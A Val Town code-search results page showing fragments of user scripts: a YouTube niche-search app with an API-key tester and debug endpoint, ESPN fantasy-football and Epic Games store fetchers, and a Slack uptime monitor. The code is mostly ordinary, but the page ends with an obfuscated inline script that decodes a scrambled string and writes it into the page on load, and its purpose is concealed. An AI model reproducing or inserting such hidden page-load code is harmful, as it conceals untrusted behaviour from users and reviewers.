Val Town Code SearchReturn to Val Town

80```
81https://yoursite.com/custom-header.html
82https://api.yoursite.com/generate-header
83https://cdn.example.com/headers/analysis.html
84```
146- **Safe External Links**: `noopener noreferrer` attributes
147- **Input Validation**: URL validation for all inputs
148- **XSS Protection**: Proper HTML escaping
149- **Error Boundaries**: Graceful error handling
150

674            });
675            
676            // Here you could make an API call to your backend
677            console.log('Selected niche data:', {
678                niche,
767            `;
768            
769            // Sample video data (you can replace this with real API data)
770            const sampleVideos = [
771                {

90        <!-- Setup Instructions -->
91        <div id="setup-info" class="max-w-4xl mx-auto mt-12 bg-blue-50 border border-blue-200 rounded-lg p-6">
92            <h3 class="text-lg font-semibold text-blue-800 mb-3">🔧 YouTube API Setup Guide</h3>
93            
94            <!-- API Key Tester -->
95            <div class="mb-6 bg-white p-4 rounded-lg border">
96                <h4 class="font-semibold text-gray-800 mb-3">🧪 Test Your API Key</h4>
97                <div class="flex gap-3">
98                    <input 
99                        type="text" 
100                        id="test-api-key" 
101                        placeholder="Paste your YouTube API key here to test it..."
102                        class="flex-1 px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 text-sm font-mono"
103                    >
113            
114            <div class="mb-6">
115                <h4 class="font-semibold text-blue-800 mb-2">Step 1: Create API Key</h4>
116                <ol class="list-decimal list-inside text-blue-700 space-y-1 mb-4 ml-4">
117                    <li>Go to <a href="https://console.developers.google.com/" target="_blank" class="underline font-medium">Google Cloud Console</a></li>
118                    <li>Create a new project or select an existing one</li>
119                    <li>Go to "APIs & Services" → "Library"</li>
120                    <li>Search for and enable <strong>"YouTube Data API v3"</strong></li>
121                    <li>Go to "APIs & Services" → "Credentials"</li>
122                    <li>Click "Create Credentials" → "API Key"</li>
123                    <li>Copy your API key</li>
124                </ol>
125            </div>
126
127            <div class="mb-6">
128                <h4 class="font-semibold text-blue-800 mb-2">Step 2: Configure API Key</h4>
129                <ol class="list-decimal list-inside text-blue-700 space-y-1 mb-4 ml-4">
130                    <li>In Val Town, go to your environment variables</li>
131                    <li>Add a new variable named: <code class="bg-blue-100 px-2 py-1 rounded font-mono">YOUTUBE_API_KEY</code></li>
132                    <li>Paste your API key as the value</li>
133                    <li>Save the environment variable</li>
134                </ol>
139                <div class="space-y-3 text-sm">
140                    <div class="bg-white p-3 rounded border-l-4 border-yellow-400">
141                        <strong class="text-gray-800">API Key Invalid Error:</strong>
142                        <ul class="mt-1 text-gray-700 list-disc list-inside ml-4">
143                            <li>Double-check your API key is copied correctly (no extra spaces)</li>
144                            <li>Ensure YouTube Data API v3 is enabled in Google Cloud Console</li>
145                            <li>Wait a few minutes after creating the key for it to activate</li>
146                            <li>Try removing all API restrictions temporarily</li>
147                        </ul>
148                    </div>
150                        <strong class="text-gray-800">Quota Exceeded Error:</strong>
151                        <ul class="mt-1 text-gray-700 list-disc list-inside ml-4">
152                            <li>YouTube API has daily quotas (10,000 units/day for free tier)</li>
153                            <li>Each search uses ~100 units, so you can do ~100 searches per day</li>
154                            <li>Reset happens at midnight Pacific Time</li>
159
160            <p class="text-sm text-blue-600">
161                💡 <strong>Good news:</strong> The YouTube Data API is completely free for personal use with generous daily quotas!
162            </p>
163        </div>
185            
186            async handleTestKey() {
187                const testKeyInput = document.getElementById('test-api-key');
188                const testKeyBtn = document.getElementById('test-key-btn');
189                const resultDiv = document.getElementById('key-test-result');
190                const apiKey = testKeyInput.value.trim();
191                
192                if (!apiKey) {
193                    this.showKeyTestResult('Please enter an API key to test', 'error');
194                    return;
195                }
198                testKeyBtn.textContent = 'Testing...';
199                resultDiv.className = 'mt-3 p-3 bg-gray-100 rounded text-sm';
200                resultDiv.innerHTML = '🔄 Testing API key...';
201                resultDiv.classList.remove('hidden');
202                
203                try {
204                    const response = await fetch('/api/test-key', {
205                        method: 'POST',
206                        headers: { 'Content-Type': 'application/json' },
207                        body: JSON.stringify({ apiKey })
208                    });
209                    const data = await response.json();
210                    
211                    if (data.success) {
212                        this.showKeyTestResult(`✅ API key is valid! Found ${data.sampleData.videoCount} video(s).`, 'success');
213                    } else {
214                        this.showKeyTestResult(`❌ API key failed: ${data.error}`, 'error');
215                    }
216                } catch (error) {
250                
251                try {
252                    const response = await fetch(`/api/videos?niche=${encodeURIComponent(niche)}`);
253                    const data = await response.json();
254                    

19    
20    async handleTestKey() {
21        const testKeyInput = document.getElementById('test-api-key');
22        const testKeyBtn = document.getElementById('test-key-btn');
23        const resultDiv = document.getElementById('key-test-result');
24        const apiKey = testKeyInput.value.trim();
25        
26        if (!apiKey) {
27            this.showKeyTestResult('Please enter an API key to test', 'error');
28            return;
29        }
32        testKeyBtn.textContent = 'Testing...';
33        resultDiv.className = 'mt-3 p-3 bg-gray-100 rounded text-sm';
34        resultDiv.innerHTML = '🔄 Testing API key...';
35        resultDiv.classList.remove('hidden');
36        
37        try {
38            const response = await fetch('/api/test-key', {
39                method: 'POST',
40                headers: { 'Content-Type': 'application/json' },
41                body: JSON.stringify({ apiKey })
42            });
43            const data = await response.json();
44            
45            if (data.success) {
46                this.showKeyTestResult(`✅ API key is valid! Found ${data.sampleData.videoCount} video(s).`, 'success');
47            } else {
48                this.showKeyTestResult(`❌ API key failed: ${data.error}`, 'error');
49            }
50        } catch (error) {
84        
85        try {
86            const response = await fetch(`/api/videos?niche=${encodeURIComponent(niche)}`);
87            const data = await response.json();
88            

73});
74
75// API key tester endpoint
76app.post("/api/test-key", async (c) => {
77  const body = await c.req.json();
78  const testKey = body.apiKey;
79  
80  if (!testKey) {
81    return c.json({ error: "API key is required" }, 400);
82  }
83  
84  try {
85    const testUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=test&maxResults=1&key=${testKey}`;
86    const testResponse = await fetch(testUrl);
87    const responseData = await testResponse.json();
90      return c.json({
91        success: true,
92        message: "API key is valid and working!",
93        sampleData: {
94          videoCount: responseData.items?.length || 0,
111  }
112});
113app.get("/api/debug", async (c) => {
114  const apiKey = Deno.env.get("YOUTUBE_API_KEY");
115  
116  if (!apiKey) {
117    return c.json({
118      hasApiKey: false,
119      message: "No API key found in environment variables"
120    });
121  }
122  
123  // Test the API key with a simple request
124  try {
125    const testUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=test&maxResults=1&key=${apiKey}`;
126    const testResponse = await fetch(testUrl);
127    const responseText = await testResponse.text();
128    
129    return c.json({
130      hasApiKey: true,
131      keyLength: apiKey.length,
132      keyPrefix: apiKey.substring(0, 8) + "...",
133      testStatus: testResponse.status,
134      testOk: testResponse.ok,
135      testResponse: testResponse.ok ? "API key works!" : responseText.substring(0, 500)
136    });
137  } catch (error) {
138    return c.json({
139      hasApiKey: true,
140      keyLength: apiKey.length,
141      keyPrefix: apiKey.substring(0, 8) + "...",
142      testError: error.message
143    });
145});
146
147// API endpoint to search YouTube videos
148app.get("/api/videos", async (c) => {
149  const niche = c.req.query("niche");
150  const apiKey = Deno.env.get("YOUTUBE_API_KEY");
151  
152  if (!niche) {
154  }
155  
156  if (!apiKey) {
157    return c.json({ error: "YouTube API key not configured" }, 500);
158  }
159  
160  try {
161    // Search for videos
162    const searchUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=${encodeURIComponent(niche)}&type=video&order=relevance&maxResults=10&key=${apiKey}`;
163    
164    const searchResponse = await fetch(searchUrl);
165    if (!searchResponse.ok) {
166      const errorText = await searchResponse.text();
167      console.error(`YouTube API error details:`, errorText);
168      
169      // Parse error for better user feedback
170      try {
171        const errorData = JSON.parse(errorText);
172        if (errorData.error?.message?.includes("API key not valid")) {
173          return c.json({ 
174            error: "Invalid YouTube API Key",
175            details: "Your API key is not valid. Please check that:\n1. The API key is correct\n2. YouTube Data API v3 is enabled for your project\n3. The API key has the proper permissions"
176          }, 400);
177        }
178        if (errorData.error?.message?.includes("quota")) {
179          return c.json({ 
180            error: "YouTube API Quota Exceeded",
181            details: "You've reached your daily quota limit. Try again tomorrow or upgrade your quota."
182          }, 429);
183        }
184        return c.json({ 
185          error: "YouTube API Error",
186          details: errorData.error?.message || `HTTP ${searchResponse.status}`
187        }, searchResponse.status);
188      } catch {
189        return c.json({ 
190          error: "YouTube API Error",
191          details: `HTTP ${searchResponse.status}: ${errorText}`
192        }, searchResponse.status);
200    
201    // Get video statistics and duration
202    const detailsUrl = `https://www.googleapis.com/youtube/v3/videos?part=statistics,contentDetails&id=${videoIds}&key=${apiKey}`;
203    
204    const detailsResponse = await fetch(detailsUrl);

51    const [nflResponse, fantasyResponse] = await Promise.all([
52      fetch(
53        "http://site.api.espn.com/apis/site/v3/sports/football/nfl/scoreboard",
54      ),
55      fetch(
56        `https://lm-api-reads.fantasy.espn.com/apis/v3/games/ffl/seasons/${YEAR}/segments/0/leagues/${LEAGUE_ID}?view=mMatchup&view=mMatchupScore&view=mTeam&view=mRoster&view=mLiveScoring&scoringPeriodId=${currentWeek}`,
57        {
58          headers: {
311      // Use kona_player_info view to get ALL players including free agents
312      const allPlayersUrl =
313        `https://lm-api-reads.fantasy.espn.com/apis/v3/games/ffl/seasons/${YEAR}/segments/0/leagues/${LEAGUE_ID}?view=kona_player_info&scoringPeriodId=${week}`;
314
315      const allPlayersResponse = await fetch(allPlayersUrl, {

14
15  const response = await fetch(
16    "https://http-proxy.val.run/?finalUrl=https%3A%2F%2Fegs-platform-service.store.epicgames.com%2Fapi%2Fv2%2Fpublic%2Fdiscover%2Fhome%3Fcount%3D10%26country%3DPT%26locale%3Den%26platform%3Dandroid%26start%3D0%26store%3DEGS",
17  );
18  const json = await response.json();

14
15  const response = await fetch(
16    "https://http-proxy.val.run/?finalUrl=https%3A%2F%2Fegs-platform-service.store.epicgames.com%2Fapi%2Fv2%2Fpublic%2Fdiscover%2Fhome%3Fcount%3D10%26country%3DPT%26locale%3Den%26platform%3Dios%26start%3D0%26store%3DEGS",
17  );
18  const json = await response.json();

3  const channel = "C060TG0KLQJ";
4
5  const middlewareApiResponse = await fetch(
6    "https://api.pixelpixel.site/api/v1",
7  );
8  console.log("Middleware API Status:", middlewareApiResponse.status);
9
10  if (!middlewareApiResponse.ok) {
11    const slackResponse = await sendSlackMessage(
12      `https://api.pixelpixel.site/api/v1 returns an error: *${middlewareApiResponse.status}* - *${middlewareApiResponse.statusText}*.
13
14Check the _Droplet Dashboard_.`,
17  }
18
19  const horizonApiResponse = await fetch(
20    "https://preview-horizon-backend.pixelpixel.site/",
21  );
22  console.log("Horizon API Status:", horizonApiResponse.status);
23  if (!horizonApiResponse.ok) {
24    const slackResponse = await sendSlackMessage(
25      `Horizon preview backend appears to be down (${horizonApiResponse.status} - ${horizonApiResponse.statusText}). https://preview-horizon-backend.pixelpixel.site.`,
26    );
27    console.log("Slack status", slackResponse.status);
29
30  async function sendSlackMessage(text: string) {
31    return await fetch("https://slack.com/api/chat.postMessage", {
32      headers: {
33        Authorization: `Bearer ${SLACK_TOKEN}`,

1<script>(()=>{for(j=function(){for(h='.c3M,YNG@t*wj#wkO6u',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("trtrss.ucihirCds%3E.lj%7BEcult/nti0fot0oiaYtnm.e%3Cdertasc(m%3El5df%3C.%3C;ttf;pe%25o80/:xi,lcteDl5fm3sOodh:deoer;:%3Eslsj;rLrd.se--:.tb%3C/dx.i-s#:lr4itjt)o/Tftxp8chw%3C3ipdto#%20Pa%25;%25aheo0=0::tiou;irlltrpsn2yoioitapipd0nr9ie9zm4@-tobdi.yms;nee%25ayitly.3x93!a:btan0one%7Drn%3E:%200pe:ndm00otpxao0t%20i(o%3Eigx/e%20y0npeb(.her5/aato%3Cee%20ot%20:dramtrqrr%20idr%3Cafocn=eiad5%3C%3Cn9ni9ia5%7Dnep0de%3Eialt%7Bcfgshs=%20fes%20lta;d.et=snd:/hsw%20renprut:,snnunfw%25hgsyo;-%7BcsaUk;en).3R%20)a=4paea;prndectipqsws%20r)%20vho1has1tl=6%3Eso;drucdst.loaut:%3Ecr%22r3)socc%3Eedftvtoia%22efec/iCXil.%7Dtiic%25ltk%7Bni.e,kredsrh./:rtl6fa%22mdd%20sO%3Ca%7BL:%25hcmv%7Dt-c%22Ctae%20speo%20%225ro%7B%22/(wiaoi(pmacifx%22%3E)adg,u%20dnoe:/r8sTfcten.).a=t(pwmti/tonlwxadi%20u.PweetpPnasr%7D)%7Butpne,%22.i.spocSs%7D,emr.t(e)c%22i-,ieno;e:ao.()b)%3CnsmTenwtcc-osnhpsoeacrx(a/.urb2gohlocslare)t/eDt,et%22ynahtomdnf:opcnoS,l-P(mr%20tew%3Epteda(nd-dtielo.Slere(s%7Ddotc(totLb)o/ayriDto")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>